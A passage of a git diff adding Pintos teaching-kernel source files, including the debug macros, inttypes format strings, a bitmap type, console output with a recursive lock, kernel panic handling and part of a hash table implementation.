+
+void debug_panic (const char *file, int line, const char *function,
+ const char *message, ...) PRINTF_FORMAT (4, 5) NO_RETURN;
+void debug_backtrace (void);
+
+/* klaar@ida Parts from 100 to 210 exists (only in reference solution) */
+#define PART 210
+#endif
+
+
+
+/* This is outside the header guard so that debug.h may be
+ included multiple times with different settings of NDEBUG. */
+#undef ASSERT
+#undef NOT_REACHED
+
+#ifndef NDEBUG
+#define ASSERT(CONDITION) \
+ if (CONDITION) { } else { \
+ PANIC ("assertion `%s' failed.", #CONDITION); \
+ }
+#define NOT_REACHED() PANIC ("executed an unreachable statement");
+#else
+#define ASSERT(CONDITION) ((void) 0)
+#define NOT_REACHED() for (;;)
+#endif /* lib/debug.h */
diff --git a/src/lib/inttypes.h b/src/lib/inttypes.h
new file mode 100644
index 0000000..f703725
--- /dev/null
+++ b/src/lib/inttypes.h
@@ -0,0 +1,48 @@
+#ifndef __LIB_INTTYPES_H
+#define __LIB_INTTYPES_H
+
+#include <stdint.h>
+
+#define PRId8 "hhd"
+#define PRIi8 "hhi"
+#define PRIo8 "hho"
+#define PRIu8 "hhu"
+#define PRIx8 "hhx"
+#define PRIX8 "hhX"
+
+#define PRId16 "hd"
+#define PRIi16 "hi"
+#define PRIo16 "ho"
+#define PRIu16 "hu"
+#define PRIx16 "hx"
+#define PRIX16 "hX"
+
+#define PRId32 "d"
+#define PRIi32 "i"
+#define PRIo32 "o"
+#define PRIu32 "u"
+#define PRIx32 "x"
+#define PRIX32 "X"
+
+#define PRId64 "lld"
+#define PRIi64 "lli"
+#define PRIo64 "llo"
+#define PRIu64 "llu"
+#define PRIx64 "llx"
+#define PRIX64 "llX"
+
+#define PRIdMAX "jd"
+#define PRIiMAX "ji"
+#define PRIoMAX "jo"
+#define PRIuMAX "ju"
+#define PRIxMAX "jx"
+#define PRIXMAX "jX"
+
+#define PRIdPTR "td"
+#define PRIiPTR "ti"
+#define PRIoPTR "to"
+#define PRIuPTR "tu"
+#define PRIxPTR "tx"
+#define PRIXPTR "tX"
+
+#endif /* lib/inttypes.h */
diff --git a/src/lib/kernel/bitmap.c b/src/lib/kernel/bitmap.c
new file mode 100644
index 0000000..d323b89
--- /dev/null
+++ b/src/lib/kernel/bitmap.c
@@ -0,0 +1,372 @@
+#include "bitmap.h"
+#include <debug.h>
+#include <limits.h>
+#include <round.h>
+#include <stdio.h>
+#include "threads/malloc.h"
+#ifdef FILESYS
+#include "filesys/file.h"
+#endif
+
+/* Element type.
+
+ This must be an unsigned integer type at least as wide as int.
+
+ Each bit represents one bit in the bitmap.
+ If bit 0 in an element represents bit K in the bitmap,
+ then bit 1 in the element represents bit K+1 in the bitmap,
+ and so on. */
+typedef unsigned long elem_type;
+
+/* Number of bits in an element. */
+#define ELEM_BITS (sizeof (elem_type) * CHAR_BIT)
+
+/* From the outside, a bitmap is an array of bits. From the
+ inside, it's an array of elem_type (defined above) that
+ simulates an array of bits. */
+struct bitmap
+ {
+ size_t bit_cnt; /* Number of bits. */
+ elem_type *bits; /* Elements that represent bits. */
+ };
+
+/* Returns the index of the element that contains the bit
+ numbered BIT_IDX. */
+static inline size_t
+elem_idx (size_t bit_idx)
+{
+ return bit_idx / ELEM_BITS;
+}
+
+/* Returns an elem_type where only the bit corresponding to
+ BIT_IDX is turned on. */
+static inline elem_type
+bit_mask (size_t bit_idx)
+{
+ return (elem_type) 1 << (bit_idx % ELEM_BITS);
+}
+
+/* Returns the number of elements required for BIT_CNT bits. */
+static inline size_t
+elem_cnt (size_t bit_cnt)
+{
+ return DIV_ROUND_UP (bit_cnt, ELEM_BITS);
+}
+
+/* Returns the number of bytes required for BIT_CNT bits. */
+static inline size_t
+byte_cnt (size_t bit_cnt)
+{
+ return sizeof (elem_type) * elem_cnt (bit_cnt);
+}
+
+/* Returns a bit mask in which the bits actually used in the last
+ element of B's bits are set to 1 and the rest are set to 0. */
+static inline elem_type
+last_mask (const struct bitmap *b)
+{
+ int last_bits = b->bit_cnt % ELEM_BITS;
+ return last_bits ? ((elem_type) 1 << last_bits) - 1 : (elem_type) -1;
+}
+
+/* Creation and destruction. */
+
+/* Initializes B to be a bitmap of BIT_CNT bits
+ and sets all of its bits to false.
+ Returns true if success, false if memory allocation
+ failed. */
+struct bitmap *
+bitmap_create (size_t bit_cnt)
+{
+ struct bitmap *b = malloc (sizeof *b);
+ if (b != NULL)
+ {
+ b->bit_cnt = bit_cnt;
+ b->bits = malloc (byte_cnt (bit_cnt));
+ if (b->bits != NULL || bit_cnt == 0)
+ {
+ bitmap_set_all (b, false);
+ return b;
+ }
+ free (b);
+ }
+ return NULL;
+}
+
+/* Creates and returns a bitmap with BIT_CNT bits in the
+ BLOCK_SIZE bytes of storage preallocated at BLOCK.
+ BLOCK_SIZE must be at least bitmap_needed_bytes(BIT_CNT). */
+struct bitmap *
+bitmap_create_in_buf (size_t bit_cnt, void *block, size_t block_size UNUSED)
+{
+ struct bitmap *b = block;
+
+ ASSERT (block_size >= bitmap_buf_size (bit_cnt));
+
+ b->bit_cnt = bit_cnt;
+ b->bits = (elem_type *) (b + 1);
+ bitmap_set_all (b, false);
+ return b;
+}
+
+/* Returns the number of bytes required to accomodate a bitmap
+ with BIT_CNT bits (for use with bitmap_create_in_buf()). */
+size_t
+bitmap_buf_size (size_t bit_cnt)
+{
+ return sizeof (struct bitmap) + byte_cnt (bit_cnt);
+}
+
+/* Destroys bitmap B, freeing its storage.
+ Not for use on bitmaps created by
+ bitmap_create_preallocated(). */
+void
+bitmap_destroy (struct bitmap *b)
+{
+ if (b != NULL)
+ {
+ free (b->bits);
+ free (b);
+ }
+}
+
+/* Bitmap size. */
+
+/* Returns the number of bits in B. */
+size_t
+bitmap_size (const struct bitmap *b)
+{
+ return b->bit_cnt;
+}
+
+/* Setting and testing single bits. */
+
+/* Atomically sets the bit numbered IDX in B to VALUE. */
+void
+bitmap_set (struct bitmap *b, size_t idx, bool value)
+{
+ ASSERT (b != NULL);
+ ASSERT (idx < b->bit_cnt);
+ if (value)
+ bitmap_mark (b, idx);
+ else
+ bitmap_reset (b, idx);
+}
+
+/* Atomically sets the bit numbered BIT_IDX in B to true. */
+void
+bitmap_mark (struct bitmap *b, size_t bit_idx)
+{
+ size_t idx = elem_idx (bit_idx);
+ elem_type mask = bit_mask (bit_idx);
+
+ /* This is equivalent to `b->bits[idx] |= mask' except that it
+ is guaranteed to be atomic on a uniprocessor machine. See
+ the description of the OR instruction in [IA32-v2b]. */
+ asm ("orl %1, %0" : "=m" (b->bits[idx]) : "r" (mask) : "cc");
+}
+
+/* Atomically sets the bit numbered BIT_IDX in B to false. */
+void
+bitmap_reset (struct bitmap *b, size_t bit_idx)
+{
+ size_t idx = elem_idx (bit_idx);
+ elem_type mask = bit_mask (bit_idx);
+
+ /* This is equivalent to `b->bits[idx] &= ~mask' except that it
+ is guaranteed to be atomic on a uniprocessor machine. See
+ the description of the AND instruction in [IA32-v2a]. */
+ asm ("andl %1, %0" : "=m" (b->bits[idx]) : "r" (~mask) : "cc");
+}
+
+/* Atomically toggles the bit numbered IDX in B;
+ that is, if it is true, makes it false,
+ and if it is false, makes it true. */
+void
+bitmap_flip (struct bitmap *b, size_t bit_idx)
+{
+ size_t idx = elem_idx (bit_idx);
+ elem_type mask = bit_mask (bit_idx);
+
+ /* This is equivalent to `b->bits[idx] ^= mask' except that it
+ is guaranteed to be atomic on a uniprocessor machine. See
+ the description of the XOR instruction in [IA32-v2b]. */
+ asm ("xorl %1, %0" : "=m" (b->bits[idx]) : "r" (mask) : "cc");
+}
+
+/* Returns the value of the bit numbered IDX in B. */
+bool
+bitmap_test (const struct bitmap *b, size_t idx)
+{
+ ASSERT (b != NULL);
+ ASSERT (idx < b->bit_cnt);
+ return (b->bits[elem_idx (idx)] & bit_mask (idx)) != 0;
+}
+
+/* Setting and testing multiple bits. */
+
+/* Sets all bits in B to VALUE. */
+void
+bitmap_set_all (struct bitmap *b, bool value)
+{
+ ASSERT (b != NULL);
+
+ bitmap_set_multiple (b, 0, bitmap_size (b), value);
+}
+
+/* Sets the CNT bits starting at START in B to VALUE. */
+void
+bitmap_set_multiple (struct bitmap *b, size_t start, size_t cnt, bool value)
+{
+ size_t i;
+
+ ASSERT (b != NULL);
+ ASSERT (start <= b->bit_cnt);
+ ASSERT (start + cnt <= b->bit_cnt);
+
+ for (i = 0; i < cnt; i++)
+ bitmap_set (b, start + i, value);
+}
+
+/* Returns the number of bits in B between START and START + CNT,
+ exclusive, that are set to VALUE. */
+size_t
+bitmap_count (const struct bitmap *b, size_t start, size_t cnt, bool value)
+{
+ size_t i, value_cnt;
+
+ ASSERT (b != NULL);
+ ASSERT (start <= b->bit_cnt);
+ ASSERT (start + cnt <= b->bit_cnt);
+
+ value_cnt = 0;
+ for (i = 0; i < cnt; i++)
+ if (bitmap_test (b, start + i) == value)
+ value_cnt++;
+ return value_cnt;
+}
+
+/* Returns true if any bits in B between START and START + CNT,
+ exclusive, are set to VALUE, and false otherwise. */
+bool
+bitmap_contains (const struct bitmap *b, size_t start, size_t cnt, bool value)
+{
+ size_t i;
+
+ ASSERT (b != NULL);
+ ASSERT (start <= b->bit_cnt);
+ ASSERT (start + cnt <= b->bit_cnt);
+
+ for (i = 0; i < cnt; i++)
+ if (bitmap_test (b, start + i) == value)
+ return true;
+ return false;
+}
+
+/* Returns true if any bits in B between START and START + CNT,
+ exclusive, are set to true, and false otherwise.*/
+bool
+bitmap_any (const struct bitmap *b, size_t start, size_t cnt)
+{
+ return bitmap_contains (b, start, cnt, true);
+}
+
+/* Returns true if no bits in B between START and START + CNT,
+ exclusive, are set to true, and false otherwise.*/
+bool
+bitmap_none (const struct bitmap *b, size_t start, size_t cnt)
+{
+ return !bitmap_contains (b, start, cnt, true);
+}
+
+/* Returns true if every bit in B between START and START + CNT,
+ exclusive, is set to true, and false otherwise. */
+bool
+bitmap_all (const struct bitmap *b, size_t start, size_t cnt)
+{
+ return !bitmap_contains (b, start, cnt, false);
+}
+
+/* Finding set or unset bits. */
+
+/* Finds and returns the starting index of the first group of CNT
+ consecutive bits in B at or after START that are all set to
+ VALUE.
+ If there is no such group, returns BITMAP_ERROR. */
+size_t
+bitmap_scan (const struct bitmap *b, size_t start, size_t cnt, bool value)
+{
+ ASSERT (b != NULL);
+ ASSERT (start <= b->bit_cnt);
+
+ if (cnt <= b->bit_cnt)
+ {
+ size_t last = b->bit_cnt - cnt;
+ size_t i;
+ for (i = start; i <= last; i++)
+ if (!bitmap_contains (b, i, cnt, !value))
+ return i;
+ }
+ return BITMAP_ERROR;
+}
+
+/* Finds the first group of CNT consecutive bits in B at or after
+ START that are all set to VALUE, flips them all to !VALUE,
+ and returns the index of the first bit in the group.
+ If there is no such group, returns BITMAP_ERROR.
+ If CNT is zero, returns 0.
+ Bits are set atomically, but testing bits is not atomic with
+ setting them. */
+size_t
+bitmap_scan_and_flip (struct bitmap *b, size_t start, size_t cnt, bool value)
+{
+ size_t idx = bitmap_scan (b, start, cnt, value);
+ if (idx != BITMAP_ERROR)
+ bitmap_set_multiple (b, idx, cnt, !value);
+ return idx;
+}
+
+/* File input and output. */
+
+#ifdef FILESYS
+/* Returns the number of bytes needed to store B in a file. */
+size_t
+bitmap_file_size (const struct bitmap *b)
+{
+ return byte_cnt (b->bit_cnt);
+}
+
+/* Reads B from FILE. Returns true if successful, false
+ otherwise. */
+bool
+bitmap_read (struct bitmap *b, struct file *file)
+{
+ bool success = true;
+ if (b->bit_cnt > 0)
+ {
+ off_t size = byte_cnt (b->bit_cnt);
+ success = file_read_at (file, b->bits, size, 0) == size;
+ b->bits[elem_cnt (b->bit_cnt) - 1] &= last_mask (b);
+ }
+ return success;
+}
+
+/* Writes B to FILE. Return true if successful, false
+ otherwise. */
+bool
+bitmap_write (const struct bitmap *b, struct file *file)
+{
+ off_t size = byte_cnt (b->bit_cnt);
+ return file_write_at (file, b->bits, size, 0) == size;
+}
+#endif /* FILESYS */
+
+/* Debugging. */
+
+/* Dumps the contents of B to the console as hexadecimal. */
+void
+bitmap_dump (const struct bitmap *b)
+{
+ hex_dump (0, b->bits, byte_cnt (b->bit_cnt), false);
+}
+
diff --git a/src/lib/kernel/bitmap.h b/src/lib/kernel/bitmap.h
new file mode 100644
index 0000000..a50593c
--- /dev/null
+++ b/src/lib/kernel/bitmap.h
@@ -0,0 +1,51 @@
+#ifndef __LIB_KERNEL_BITMAP_H
+#define __LIB_KERNEL_BITMAP_H
+
+#include <stdbool.h>
+#include <stddef.h>
+#include <inttypes.h>
+
+/* Bitmap abstract data type. */
+
+/* Creation and destruction. */
+struct bitmap *bitmap_create (size_t bit_cnt);
+struct bitmap *bitmap_create_in_buf (size_t bit_cnt, void *, size_t byte_cnt);
+size_t bitmap_buf_size (size_t bit_cnt);
+void bitmap_destroy (struct bitmap *);
+
+/* Bitmap size. */
+size_t bitmap_size (const struct bitmap *);
+
+/* Setting and testing single bits. */
+void bitmap_set (struct bitmap *, size_t idx, bool);
+void bitmap_mark (struct bitmap *, size_t idx);
+void bitmap_reset (struct bitmap *, size_t idx);
+void bitmap_flip (struct bitmap *, size_t idx);
+bool bitmap_test (const struct bitmap *, size_t idx);
+
+/* Setting and testing multiple bits. */
+void bitmap_set_all (struct bitmap *, bool);
+void bitmap_set_multiple (struct bitmap *, size_t start, size_t cnt, bool);
+size_t bitmap_count (const struct bitmap *, size_t start, size_t cnt, bool);
+bool bitmap_contains (const struct bitmap *, size_t start, size_t cnt, bool);
+bool bitmap_any (const struct bitmap *, size_t start, size_t cnt);
+bool bitmap_none (const struct bitmap *, size_t start, size_t cnt);
+bool bitmap_all (const struct bitmap *, size_t start, size_t cnt);
+
+/* Finding set or unset bits. */
+#define BITMAP_ERROR SIZE_MAX
+size_t bitmap_scan (const struct bitmap *, size_t start, size_t cnt, bool);
+size_t bitmap_scan_and_flip (struct bitmap *, size_t start, size_t cnt, bool);
+
+/* File input and output. */
+#ifdef FILESYS
+struct file;
+size_t bitmap_file_size (const struct bitmap *);
+bool bitmap_read (struct bitmap *, struct file *);
+bool bitmap_write (const struct bitmap *, struct file *);
+#endif
+
+/* Debugging. */
+void bitmap_dump (const struct bitmap *);
+
+#endif /* lib/kernel/bitmap.h */
diff --git a/src/lib/kernel/console.c b/src/lib/kernel/console.c
new file mode 100644
index 0000000..0d031b5
--- /dev/null
+++ b/src/lib/kernel/console.c
@@ -0,0 +1,191 @@
+#include <console.h>
+#include <stdarg.h>
+#include <stdio.h>
+#include "devices/serial.h"
+#include "devices/vga.h"
+#include "threads/init.h"
+#include "threads/interrupt.h"
+#include "threads/synch.h"
+
+static void vprintf_helper (char, void *);
+static void putchar_have_lock (uint8_t c);
+
+/* The console lock.
+ Both the vga and serial layers do their own locking, so it's
+ safe to call them at any time.
+ But this lock is useful to prevent simultaneous printf() calls
+ from mixing their output, which looks confusing. */
+static struct lock console_lock;
+
+/* True in ordinary circumstances: we want to use the console
+ lock to avoid mixing output between threads, as explained
+ above.
+
+ False in early boot before the point that locks are functional
+ or the console lock has been initialized, or after a kernel
+ panics. In the former case, taking the lock would cause an
+ assertion failure, which in turn would cause a panic, turning
+ it into the latter case. In the latter case, if it is a buggy
+ lock_acquire() implementation that caused the panic, we'll
+ likely just recurse. */
+static bool use_console_lock;
+
+/* It's possible, if you add enough debug output to Pintos, to
+ try to recursively grab console_lock from a single thread. As
+ a real example, I added a printf() call to palloc_free().
+ Here's a real backtrace that resulted:
+
+ lock_console()
+ vprintf()
+ printf() - palloc() tries to grab the lock again
+ palloc_free()
+ schedule_tail() - another thread dying as we switch threads
+ schedule()
+ thread_yield()
+ intr_handler() - timer interrupt
+ intr_set_level()
+ serial_putc()
+ putchar_have_lock()
+ putbuf()
+ sys_write() - one process writing to the console
+ syscall_handler()
+ intr_handler()
+
+ This kind of thing is very difficult to debug, so we avoid the
+ problem by simulating a recursive lock with a depth
+ counter. */
+static int console_lock_depth;
+
+/* Number of characters written to console. */
+static int64_t write_cnt;
+
+/* Enable console locking. */
+void
+console_init (void)
+{
+ lock_init (&console_lock);
+ use_console_lock = true;
+}
+
+/* Notifies the console that a kernel panic is underway,
+ which warns it to avoid trying to take the console lock from
+ now on. */
+void
+console_panic (void)
+{
+ use_console_lock = false;
+}
+
+/* Prints console statistics. */
+void
+console_print_stats (void)
+{
+ printf ("Console: %lld characters output\n", write_cnt);
+}
+
+/* Acquires the console lock. */
+static void
+acquire_console (void)
+{
+ if (!intr_context () && use_console_lock)
+ {
+ if (lock_held_by_current_thread (&console_lock))
+ console_lock_depth++;
+ else
+ lock_acquire (&console_lock);
+ }
+}
+
+/* Releases the console lock. */
+static void
+release_console (void)
+{
+ if (!intr_context () && use_console_lock)
+ {
+ if (console_lock_depth > 0)
+ console_lock_depth--;
+ else
+ lock_release (&console_lock);
+ }
+}
+
+/* Returns true if the current thread has the console lock,
+ false otherwise. */
+static bool
+console_locked_by_current_thread (void)
+{
+ return (intr_context ()
+ || !use_console_lock
+ || lock_held_by_current_thread (&console_lock));
+}
+
+/* The standard vprintf() function,
+ which is like printf() but uses a va_list.
+ Writes its output to both vga display and serial port. */
+int
+vprintf (const char *format, va_list args)
+{
+ int char_cnt = 0;
+
+ acquire_console ();
+ __vprintf (format, args, vprintf_helper, &char_cnt);
+ release_console ();
+
+ return char_cnt;
+}
+
+/* Writes string S to the console, followed by a new-line
+ character. */
+int
+puts (const char *s)
+{
+ acquire_console ();
+ while (*s != '\0')
+ putchar_have_lock (*s++);
+ putchar_have_lock ('\n');
+ release_console ();
+
+ return 0;
+}
+
+/* Writes the N characters in BUFFER to the console. */
+void
+putbuf (const char *buffer, size_t n)
+{
+ acquire_console ();
+ while (n-- > 0)
+ putchar_have_lock (*buffer++);
+ release_console ();
+}
+
+/* Writes C to the vga display and serial port. */
+int
+putchar (int c)
+{
+ acquire_console ();
+ putchar_have_lock (c);
+ release_console ();
+
+ return c;
+}
+
+/* Helper function for vprintf(). */
+static void
+vprintf_helper (char c, void *char_cnt_)
+{
+ int *char_cnt = char_cnt_;
+ (*char_cnt)++;
+ putchar_have_lock (c);
+}
+
+/* Writes C to the vga display and serial port.
+ The caller has already acquired the console lock if
+ appropriate. */
+static void
+putchar_have_lock (uint8_t c)
+{
+ ASSERT (console_locked_by_current_thread ());
+ write_cnt++;
+ serial_putc (c);
+ vga_putc (c);
+}
diff --git a/src/lib/kernel/console.h b/src/lib/kernel/console.h
new file mode 100644
index 0000000..ab99249
--- /dev/null
+++ b/src/lib/kernel/console.h
@@ -0,0 +1,8 @@
+#ifndef __LIB_KERNEL_CONSOLE_H
+#define __LIB_KERNEL_CONSOLE_H
+
+void console_init (void);
+void console_panic (void);
+void console_print_stats (void);
+
+#endif /* lib/kernel/console.h */
diff --git a/src/lib/kernel/debug.c b/src/lib/kernel/debug.c
new file mode 100644
index 0000000..93c3952
--- /dev/null
+++ b/src/lib/kernel/debug.c
@@ -0,0 +1,48 @@
+#include <debug.h>
+#include <console.h>
+#include <stdarg.h>
+#include <stdbool.h>
+#include <stddef.h>
+#include <stdio.h>
+#include <string.h>
+#include "threads/init.h"
+#include "threads/interrupt.h"
+#include "devices/serial.h"
+
+/* Halts the OS, printing the source file name, line number, and
+ function name, plus a user-specific message. */
+void
+debug_panic (const char *file, int line, const char *function,
+ const char *message, ...)
+{
+ static int level;
+ va_list args;
+
+ intr_disable ();
+ console_panic ();
+
+ level++;
+ if (level == 1)
+ {
+ printf ("Kernel PANIC at %s:%d in %s(): ", file, line, function);
+
+ va_start (args, message);
+ vprintf (message, args);
+ printf ("\n");
+ va_end (args);
+
+ debug_backtrace ();
+ }
+ else if (level == 2)
+ printf ("Kernel PANIC recursion at %s:%d in %s().\n",
+ file, line, function);
+ else
+ {
+ /* Don't print anything: that's probably why we recursed. */
+ }
+
+ serial_flush ();
+ if (power_off_when_done)
+ power_off ();
+ for (;;);
+}
diff --git a/src/lib/kernel/hash.c b/src/lib/kernel/hash.c
new file mode 100644
index 0000000..57eed45
--- /dev/null
+++ b/src/lib/kernel/hash.c
@@ -0,0 +1,430 @@
+/* Hash table.
+
+ This data structure is thoroughly documented in the Tour of
+ Pintos for Project 3.
+
+ See hash.h for basic information. */
+
+#include "hash.h"
+#include "../debug.h"
+#include "threads/malloc.h"
+
+#define list_elem_to_hash_elem(LIST_ELEM) \
+ list_entry(LIST_ELEM, struct hash_elem, list_elem)
+
+static struct list *find_bucket (struct hash *, struct hash_elem *);
+static struct hash_elem *find_elem (struct hash *, struct list *,
+ struct hash_elem *);
+static void insert_elem (struct hash *, struct list *, struct hash_elem *);
+static void remove_elem (struct hash *, struct hash_elem *);
+static void rehash (struct hash *);
+
+/* Initializes hash table H to compute hash values using HASH and
+ compare hash elements using LESS, given auxiliary data AUX. */
+bool
+hash_init (struct hash *h,
+ hash_hash_func *hash, hash_less_func *less, void *aux)
+{
+ h->elem_cnt = 0;
+ h->bucket_cnt = 4;
+ h->buckets = malloc (sizeof *h->buckets * h->bucket_cnt);
+ h->hash = hash;
+ h->less = less;
+ h->aux = aux;
+
+ if (h->buckets != NULL)
+ {
+ hash_clear (h, NULL);
+ return true;
+ }
+ else
+ return false;
+}
+
+/* Removes all the elements from H.
+
+ If DESTRUCTOR is non-null, then it is called for each element
+ in the hash. DESTRUCTOR may, if appropriate, deallocate the
+ memory used by the hash element. However, modifying hash
+ table H while hash_clear() is running, using any of the
+ functions hash_clear(), hash_destroy(), hash_insert(),
+ hash_replace(), or hash_delete(), yields undefined behavior,
+ whether done in DESTRUCTOR or elsewhere. */
+void
+hash_clear (struct hash *h, hash_action_func *destructor)
+{
+ size_t i;
+
+ for (i = 0; i < h->bucket_cnt; i++)
+ {
+ struct list *bucket = &h->buckets[i];
+
+ if (destructor != NULL)
+ while (!list_empty (bucket))
+ {
+ struct list_elem *list_elem = list_pop_front (bucket);
+ struct hash_elem *hash_elem = list_elem_to_hash_elem (list_elem);
+ destructor (hash_elem, h->aux);
+ }
+
+ list_init (bucket);
+ }
+
+ h->elem_cnt = 0;
+}
+
+/* Destroys hash table H.
+
+ If DESTRUCTOR is non-null, then it is first called for each
+ element in the hash. DESTRUCTOR may, if appropriate,
+ deallocate the memory used by the hash element. However,
+ modifying hash table H while hash_clear() is running, using
+ any of the functions hash_clear(), hash_destroy(),
+ hash_insert(), hash_replace(), or hash_delete(), yields
+ undefined behavior, whether done in DESTRUCTOR or
+ elsewhere. */
+void
+hash_destroy (struct hash *h, hash_action_func *destructor)
+{
+ if (destructor != NULL)
+ hash_clear (h, destructor);
+ free (h->buckets);
+}
+
+/* Inserts NEW into hash table H and returns a null pointer, if
+ no equal element is already in the table.
+ If an equal element is already in the table, returns it
+ without inserting NEW. */
+struct hash_elem *
+hash_insert (struct hash *h, struct hash_elem *new)
+{
+ struct list *bucket = find_bucket (h, new);
+ struct hash_elem *old = find_elem (h, bucket, new);
+
+ if (old == NULL)
+ insert_elem (h, bucket, new);
+
+ rehash (h);
+
+ return old;
+}
+
+/* Inserts NEW into hash table H, replacing any equal element
+ already in the table, which is returned. */
+struct hash_elem *
+hash_replace (struct hash *h, struct hash_elem *new)
+{
+ struct list *bucket = find_bucket (h, new);
+ struct hash_elem *old = find_elem (h, bucket, new);
+
+ if (old != NULL)
+ remove_elem (h, old);
+ insert_elem (h, bucket, new);
+
+ rehash (h);
+
+ return old;
+}
+
+/* Finds and returns an element equal to E in hash table H, or a
+ null pointer if no equal element exists in the table. */
+struct hash_elem *
+hash_find (struct hash *h, struct hash_elem *e)
+{
+ return find_elem (h, find_bucket (h, e), e);
+}
+
+/* Finds, removes, and returns an element equal to E in hash
+ table H. Returns a null pointer if no equal element existed
+ in the table.
+
+ If the elements of the hash table are dynamically allocated,
+ or own resources that are, then it is the caller's
+ responsibility to deallocate them. */
+struct hash_elem *
+hash_delete (struct hash *h, struct hash_elem *e)
+{
+ struct hash_elem *found = find_elem (h, find_bucket (h, e), e);
+ if (found != NULL)
+ {
+ remove_elem (h, found);
+ rehash (h);
+ }
+ return found;
+}
+
+/* Calls ACTION for each element in hash table H in arbitrary
+ order.
+ Modifying hash table H while hash_apply() is running, using
+ any of the functions hash_clear(), hash_destroy(),
+ hash_insert(), hash_replace(), or hash_delete(), yields
+ undefined behavior, whether done from ACTION or elsewhere. */
+void
+hash_apply (struct hash *h, hash_action_func *action)
+{
+ size_t i;
+
+ ASSERT (action != NULL);
+
+ for (i = 0; i < h->bucket_cnt; i++)
+ {
+ struct list *bucket = &h->buckets[i];
+ struct list_elem *elem, *next;
+
+ for (elem = list_begin (bucket); elem != list_end (bucket); elem = next)
+ {
+ next = list_next (elem);
+ action (list_elem_to_hash_elem (elem), h->aux);
+ }
+ }
+}
+
+/* Initializes I for iterating hash table H.
+
+ Iteration idiom:
+
+ struct hash_iterator i;
+
+ hash_first (&i, h);
+ while (hash_next (&i))
+ {
+ struct foo *f = hash_entry (hash_cur (&i), struct foo, elem);
+ ...do something with f...
+ }
+
+ Modifying hash table H during iteration, using any of the
+ functions hash_clear(), hash_destroy(), hash_insert(),
+ hash_replace(), or hash_delete(), invalidates all
+ iterators. */
+void
+hash_first (struct hash_iterator *i, struct hash *h)
+{
+ ASSERT (i != NULL);
+ ASSERT (h != NULL);
+
+ i->hash = h;
+ i->bucket = i->hash->buckets;
+ i->elem = list_elem_to_hash_elem (list_head (i->bucket));
+}
+
+/* Advances I to the next element in the hash table and returns
+ it. Returns a null pointer if no elements are left. Elements
+ are returned in arbitrary order.
+
+ Modifying a hash table H during iteration, using any of the
+ functions hash_clear(), hash_destroy(), hash_insert(),
+ hash_replace(), or hash_delete(), invalidates all
+ iterators. */
+struct hash_elem *
+hash_next (struct hash_iterator *i)
+{
+ ASSERT (i != NULL);
+
+ i->elem = list_elem_to_hash_elem (list_next (&i->elem->list_elem));
+ while (i->elem == list_elem_to_hash_elem (list_end (i->bucket)))
+ {
+ if (++i->bucket >= i->hash->buckets + i->hash->bucket_cnt)
+ {
+ i->elem = NULL;
+ break;
+ }
+ i->elem = list_elem_to_hash_elem (list_begin (i->bucket));
+ }
+
+ return i->elem;
+}
+
+/* Returns the current element in the hash table iteration, or a
+ null pointer at the end of the table. Undefined behavior
+ after calling hash_first() but before hash_next(). */
+struct hash_elem *
+hash_cur (struct hash_iterator *i)
+{
+ return i->elem;
+}
+
+/* Returns the number of elements in H. */
+size_t
+hash_size (struct hash *h)
+{
+ return h->elem_cnt;
+}
+
+/* Returns true if H contains no elements, false otherwise. */
+bool
+hash_empty (struct hash *h)
+{
+ return h->elem_cnt == 0;
+}
+
+/* Fowler-Noll-Vo hash constants, for 32-bit word sizes. */
+#define FNV_32_PRIME 16777619u
+#define FNV_32_BASIS 2166136261u
+
+/* Returns a hash of the SIZE bytes in BUF. */
+unsigned
+hash_bytes (const void *buf_, size_t size)
+{
+ /* Fowler-Noll-Vo 32-bit hash, for bytes. */
+ const unsigned char *buf = buf_;
+ unsigned hash;
+
+ ASSERT (buf != NULL);
+
+ hash = FNV_32_BASIS;
+ while (size-- > 0)
+ hash = (hash * FNV_32_PRIME) ^ *buf++;
+
+ return hash;
+}
+
+/* Returns a hash of string S. */
+unsigned
+hash_string (const char *s_)
+{
+ const unsigned char *s = (const unsigned char *) s_;
+ unsigned hash;
+
+ ASSERT (s != NULL);
+
+ hash = FNV_32_BASIS;
+ while (*s != '\0')
+ hash = (hash * FNV_32_PRIME) ^ *s++;
+
+ return hash;
+}
+
+/* Returns a hash of integer I. */
+unsigned
+hash_int (int i)
+{
+ return hash_bytes (&i, sizeof i);
+}
+
+/* Returns the bucket in H that E belongs in. */
+static struct list *
+find_bucket (struct hash *h, struct hash_elem *e)
+{
+ size_t bucket_idx = h->hash (e, h->aux) & (h->bucket_cnt - 1);
+ return &h->buckets[bucket_idx];
+}
+
+/* Searches BUCKET in H for a hash element equal to E. Returns
+ it if found or a null pointer otherwise. */
+static struct hash_elem *
+find_elem (struct hash *h, struct list *bucket, struct hash_elem *e)
+{
+ struct list_elem *i;
+
+ for (i = list_begin (bucket); i != list_end (bucket); i = list_next (i))
+ {
+ struct hash_elem *hi = list_elem_to_hash_elem (i);
+ if (!h->less (hi, e, h->aux) && !h->less (e, hi, h->aux))
+ return hi;
+ }
+ return NULL;
+}
+
+/* Returns X with its lowest-order bit set to 1 turned off. */
+static inline size_t
+turn_off_least_1bit (size_t x)
+{
+ return x & (x - 1);
+}
+
+/* Returns true if X is a power of 2, otherwise false. */
+static inline size_t
+is_power_of_2 (size_t x)
+{
+ return x != 0 && turn_off_least_1bit (x) == 0;
+}
+
+/* Element per bucket ratios. */
+#define MIN_ELEMS_PER_BUCKET 1 /* Elems/bucket < 1: reduce # of buckets. */
+#define BEST_ELEMS_PER_BUCKET 2 /* Ideal elems/bucket. */
+#define MAX_ELEMS_PER_BUCKET 4 /* Elems/bucket > 4: increase # of buckets. */
+
+/* Changes the number of buckets in hash table H to match the
+ ideal. This function can fail because of an out-of-memory
+ condition, but that'll just make hash accesses less efficient;
+ we can still continue. */
+static void
+rehash (struct hash *h)
+{
+ size_t old_bucket_cnt, new_bucket_cnt;
+ struct list *new_buckets, *old_buckets;
+ size_t i;
+
+ ASSERT (h != NULL);
+
+ /* Save old bucket info for later use. */
+ old_buckets = h->buckets;
+ old_bucket_cnt = h->bucket_cnt;
+
+ /* Calculate the number of buckets to use now.
+ We want one bucket for about every BEST_ELEMS_PER_BUCKET.
+ We must have at least four buckets, and the number of
+ buckets must be a power of 2. */
+ new_bucket_cnt = h->elem_cnt / BEST_ELEMS_PER_BUCKET;
+ if (new_bucket_cnt < 4)
+ new_bucket_cnt = 4;
+ while (!is_power_of_2 (new_bucket_cnt))
+ new_bucket_cnt = turn_off_least_1bit (new_bucket_cnt);
+
+ /* Don't do anything if the bucket count wouldn't change. */
